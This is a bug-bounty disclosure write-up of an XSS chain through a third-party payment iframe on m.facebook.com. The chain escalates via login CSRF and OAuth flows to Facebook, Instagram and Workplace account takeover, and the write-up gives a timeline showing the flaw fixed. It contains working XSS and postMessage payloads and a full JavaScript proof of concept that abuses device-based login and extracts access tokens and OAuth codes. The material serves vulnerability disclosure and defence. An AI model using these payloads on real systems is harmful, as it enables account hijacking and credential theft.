Introduction



Facebook’s payments and billing flows rely heavily on third-party financial service providers.
To facilitate bank-based payments, Facebook embeds external services inside privileged Facebook pages and allows cross-window communication between those services and facebook.com.

One such integration exists in the ACH Direct Debit initialization flow, which embeds ThirdPartyPaymentProvider.com inside an iframe on m.facebook.com.
This integration assumes that messages originating from ThirdPartyPaymentProvider.com are trustworthy and safe to process.

That assumption turned out to be incorrect. A cross-window message handler on m.facebook.com accepts specific message types from ThirdPartyPaymentProvider.com and directly injects attacker-controlled HTML into the DOM.
By chaining this behavior with a cross-site scripting vulnerability in ThirdPartyPaymentProvider.com, it becomes possible to achieve JavaScript execution in the context of facebook.com.

Once code execution is achieved on Facebook, the attack can be escalated to Instagram account takeover through existing OAuth flows.

Description


Payments

The vulnerable Facebook page is https://m.facebook.com/billing_interfaces/direct_debit_ach_initialization

This endpoint:

  • Embeds an iframe pointing to https://ThirdPartyPaymentProvider.com
  • Registers a message event listener to receive cross-window messages
  • Enforces a strict origin check, only accepting messages from ThirdPartyPaymentProvider.com

At first glance, this seems secure.

However, origin validation is only as strong as the security of the trusted origin.

Trusting ThirdPartyPaymentProvider.com as a Security Boundary

The Facebook page registers a cross-window message handler similar to the following logic:

  • Accept messages only if event.origin === "https://ThirdPartyPaymentProvider.com"
  • Parse the message contents
  • Handle specific message types

One such accepted message type is:

ThirdPartyPaymentProvider.learnMore

When this message is received, its payload is unsafely injected into the DOM without sanitization.

This creates a critical trust boundary:

Any JavaScript execution inside ThirdPartyPaymentProvider.com can send arbitrary HTML to be rendered inside facebook.com

XSS in ThirdPartyPaymentProvider.com

ThirdPartyPaymentProvider.com loads a remote configuration file specified via URL parameters.

By abusing this behavior, it was possible to inject the following payload into the ThirdPartyPaymentProvider context:

<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">

This turns the ThirdPartyPaymentProvider iframe into a message relay, allowing arbitrary JavaScript commands to be executed inside that origin.

At this point, the attacker controls a trusted ThirdPartyPaymentProvider.com frame.

Triggering XSS in facebook.com

Once the ThirdPartyPaymentProvider iframe is compromised, exploitation becomes trivial.

From the parent window, the attacker sends a message to the compromised iframe:

postMessage({
  cmd: `
    top.frames[1].postMessage(
      'ThirdPartyPaymentProvider.learnMore|<img src="" onerror="alert(document.domain)"/>|b|c|d',
      '*'
    )
  `
}, '*');

The compromised ThirdPartyPaymentProvider iframe then forwards this message to the Facebook iframe.

Because:

  • The origin is valid (ThirdPartyPaymentProvider.com)
  • The message type is allowed (ThirdPartyPaymentProvider.learnMore)

Facebook injects the supplied HTML directly into the page, resulting in:

JavaScript execution in the context of facebook.com

At this point, document.domain is facebook.com.

Why this is a Self-XSS

Reaching the vulnerable Facebook endpoint requires two parameters:

  • user_id
  • nonce

The nonce is not guessable and must be generated server-side and it’s linked to the current logged-in user. To satisfy these conditions, the exploit chain begins with a login CSRF, forcing the victim to authenticate into the attacker’s Facebook account. Once logged in, the attacker can reuse their own valid nonce from another session to start the flow.

Escalation to Instagram Account Takeover

After achieving Javascript execution on facebook.com, escalation is straightforward. The attacker can initiate the Instagram OAuth flow:

https://www.instagram.com/oauth/oidc/
  ?app_id=532380490911317
  &redirect_uri=https://business.facebook.com/business/loginpage/igoauth/callback/
  &scope=openid,linking
  &response_type=code

When the flow redirects to:

business.facebook.com/business/loginpage/igoauth/callback/

the page runs under the facebook.com domain.

Because Javascript is already executing in this context, the attacker can read location.href, extract OAuth codes, and complete account linking or takeover.

Attack Flow Summary

1) Victim is forced to log into the attacker’s Facebook account via a login CSRF

2) Attacker loads the ACH initialization page with a valid attacker `nonce` and `user_id`

3) Facebook embeds `ThirdPartyPaymentProvider.com` inside a privileged iframe

4) An XSS in `ThirdPartyPaymentProvider.com` allows attacker-controlled Javascript execution

5) The compromised iframe sends a `ThirdPartyPaymentProvider.learnMore` message to parent window

6) Facebook injects attacker-supplied HTML, triggering XSS on `facebook.com`

7) Attacker initiates Instagram OAuth flow and steals an authorization code

Additional Impact: Full Facebook Account Takeover via Device-Based Login Abuse

After further testing, it was possible to escalate the existing XSS into a full Facebook account takeover, not only Instagram or Workplace.

This scenario abuses two Facebook behaviors that become reachable once JavaScript execution is achieved in the context of facebook.com:

  • The widespread usage of “Save Login” / device-based login
  • The ability to keep a malicious page alive using a Blob URL, preventing Facebook from refreshing or invalidating the session

Scenario 1: Device-Switch abuse

Most Facebook users have the Save Login feature enabled on at least one device. When this is the case, Facebook exposes device-switchable accounts through a GraphQL query. From the attacker account, after triggering the XSS:

  • A GraphQL query can be issued to fetch **device-switchable accounts **
  • Knowing the real victim account id, and if it’s saved, it’s possible to send a POST request to the device-based login endpoint
  • The login occurs without password, 2FA, or user interaction

To ensure persistence, the XSS payload is loaded into a Blob URL, preventing Facebook from reloading or navigating away from the compromised execution context.

Scenario 2: Google OAuth login

If no device-switchable accounts are found, an alternative path still exists.

The attacker can:

  • Trigger a Google OAuth flow via accounts.google.com
  • Capture the authorization code after redirection to Facebook
  • Associate the Google login code with the victim user_id or cuid
  • Retry authentication until Facebook offers “Continue with Google” as a fallback

This technique works without user interaction if the victim is logged into only one Google account in their browser.

Proof of Concept

The following PoC was successfully tested and demonstrates both attack paths.
All execution occurs after XSS is already achieved in the Facebook context.

code = `
<html>
  <script>
    const getDeviceAccounts = (attacker_dtsg) => {
      return fetch("https://m.facebook.com/api/graphql/", {
        mode: "cors",
        headers: {
          "Content-Type": "application/x-www-form-urlencoded",
        },
        method: "post",
        body: `__a=1&fb_dtsg=${attacker_dtsg}&doc_id=3114557815333936&variables={}`,
      })
        .then((e) => e.text())
        .then((e) => {
          try {
            const post_data = e
              .split('/login/device-based/login/","inputs":[')[1]
              .split("]")[0];

            const data_json = {};
            JSON.parse(`[${post_data}]`).forEach((e) => {
              data_json[e.name] = e.value;
            });

            return data_json;
          } catch {
            console.error("No device switchable accounts found!");
            return false;
          }
        });
    };

    const loginAsVictim = (data) => {
      return fetch("https://m.facebook.com/login/device-based/login/", {
        mode: "cors",
        redirect: "manual",
        headers: {
          "Content-Type": "application/x-www-form-urlencoded",
        },
        credentials: "include",
        method: "post",
        body: new URLSearchParams(data).toString(),
      }).then((e) => e.text());
    };

    const getFirstPartyAccessToken = (dtsg) => {
      return fetch("https://m.facebook.com/dialog/oauth", {
        mode: "cors",
        headers: {
          "Content-Type": "application/x-www-form-urlencoded",
        },
        credentials: "include",
        method: "post",
        body: new URLSearchParams({
          jazoest: "25620",
          fb_dtsg: dtsg,
          force_confirmation: "0",
          display: "async",
          __a: "1",
          client_id: "124024574287414",
          redirect_uri:
            "https://staticxx.facebook.com/x/connect/xd_arbiter/?version=46#origin=https://www.instagram.com&relation=opener",
          response_type: "token",
        }),
      })
        .then((e) => e.text())
        .then((e) =>
          e.split("relation=opener&access_token=")[1].split("&")[0]
        )
        .then((token) => {
          window.prompt("access_token:", token);
        });
    };

    const getDtsg = () => {
      return fetch("https://m.facebook.com/dialog/oauth", {
        mode: "cors",
        credentials: "include",
        method: "post",
      })
        .then((e) => e.text())
        .then(
          (e) =>
            e
              .split('["MRequestConfig",[],{"dtsg":{"token":"')[1]
              .split('"')[0]
        );
    };

    const wait = (time) => {
      return new Promise((resolve) => {
        setTimeout(() => resolve(true), time);
      });
    };

    const getGoogleLoginCode = () => {
      console.log("Trying to get Google code");
      document.domain = "facebook.com";

      const wnd = window.open(
        "https://accounts.google.com/o/oauth2/auth" +
          "?client_id=15057814354-80cg059cn49j6kmhhkjam4b00on1gb2n.apps.googleusercontent.com" +
          "&response_type=code" +
          "&redirect_uri=https%3A%2F%2Fwww.facebook.com%2Foauth2%2Fredirect%2F" +
          "&scope=openid+email"
      );

      wait(4000).then(() => {
        try {
          const google_code = new URLSearchParams(
            wnd.location.href
          ).get("code");
          window.prompt("google code:", google_code);
        } catch {}
      });
    };

    getDtsg().then((attacker_dtsg) => {
      getDeviceAccounts(attacker_dtsg).then((data_post) => {
        if (data_post) {
          loginAsVictim(data_post).then(() => {
            getDtsg().then((victim_dtsg) => {
              getFirstPartyAccessToken(victim_dtsg);
            });
          });
        } else {
          getGoogleLoginCode();
        }
      });
    });
  </script>
</html>
`;

const blob = new Blob([code], {
type: "text/html",
});
window.location.href = URL.createObjectURL(blob);

This second scenario demonstrates that once JavaScript execution is achieved on facebook.com, the impact is not limited to linked platforms.

Under realistic conditions, the attacker can:

  • Bypass passwords and 2FA
  • Hijack saved login sessions
  • Fully takeover the victim’s Facebook account
  • Maintain persistence without page reloads

Combined with the original XSS vector, this results in a complete cross-platform account compromise.

Impact



The immediate impact is account takeover of Facebook, Instagram and Workplace accounts by only visiting attacker website. However, the broader implication is more severe. This vulnerability effectively allows ThirdPartyPaymentProvider.com to execute JavaScript in the context of facebook.com remotly.

A malicious actor could target ThirdPartyPaymentProvider infrastructure to inject a stored payload that automatically compromises any Facebook user attempting to add a payment method.

Such an attack would:

  • Require no user interaction
  • Affect Facebook, Instagram, and Workplace users
  • Trigger during routine billing actions the user takes

Due to the potential scale and impact, further exploitation was intentionally avoided.

Timeline



Oct 18, 2024 — Bug reported

Oct 18, 2024 — Bug Acknowledged by Facebook

Nov 19, 2024 — Bug Fixed by Facebook

Nov 20, 2024 — $62,500 bounty awarded by Meta